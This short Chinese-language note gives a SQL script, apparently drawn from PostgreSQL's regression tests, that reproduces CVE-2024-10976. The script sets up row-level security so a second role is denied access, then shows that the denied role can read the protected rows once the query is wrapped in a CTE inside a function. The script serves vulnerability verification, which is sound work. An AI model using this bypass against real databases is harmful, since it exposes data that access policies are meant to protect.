PostgreSQL数据库的漏洞复现可以从其修复代码中的回归测试脚本中获取,以下是抽取简化后的复现验证脚本。
-- ./psql -f ../../cve-2024-10976.sql
DROP FUNCTION IF EXISTS rls_f;
DROP table IF EXISTS rls_t;
DROP ROLE IF EXISTS regress_rls_alice;
DROP ROLE IF EXISTS regress_rls_bob;
-- 创建测试用户
CREATE ROLE regress_rls_alice LOGIN;
CREATE ROLE regress_rls_bob LOGIN;
-- DROP POLICY p1;
-- DROP POLICY p2;
-- 创建测试表
create table rls_t (c text);
-- 插入数据
insert into rls_t values ('invisible to bob');
-- 设置行安全
alter table rls_t enable row level security;
grant select on rls_t to regress_rls_alice, regress_rls_bob;
-- 允许regress_rls_alice访问,不允许regress_rls_bob访问
create policy p1 on rls_t for select to regress_rls_alice using (true);
create policy p2 on rls_t for select to regress_rls_bob using (false);
-- 创建函数rls_f访问表rls_t
create or replace function rls_f () returns setof rls_t
stable language sql
as $$ select * from rls_t $$;
prepare q as select current_user, * from rls_f();
-- 由于行级安全限制,regress_rls_alice可以访问,regress_rls_bob不能访问
set role regress_rls_alice;
execute q;
set role regress_rls_bob;
execute q;
-- make sure RLS dependencies in CTEs are handled
reset role;
-- 增加cte包装
create or replace function rls_f() returns setof rls_t
stable language sql
as $$ with cte as (select * from rls_t) select * from cte $$;
prepare r as select current_user, * from rls_f();
-- 由于行级安全限制,regress_rls_alice可以访问,regress_rls_bob不能访问
-- 由于漏洞CVE-2024-10976的存在,regress_rls_bob也能访问表rls_t
set role regress_rls_alice;
execute r;
set role regress_rls_bob;
execute r;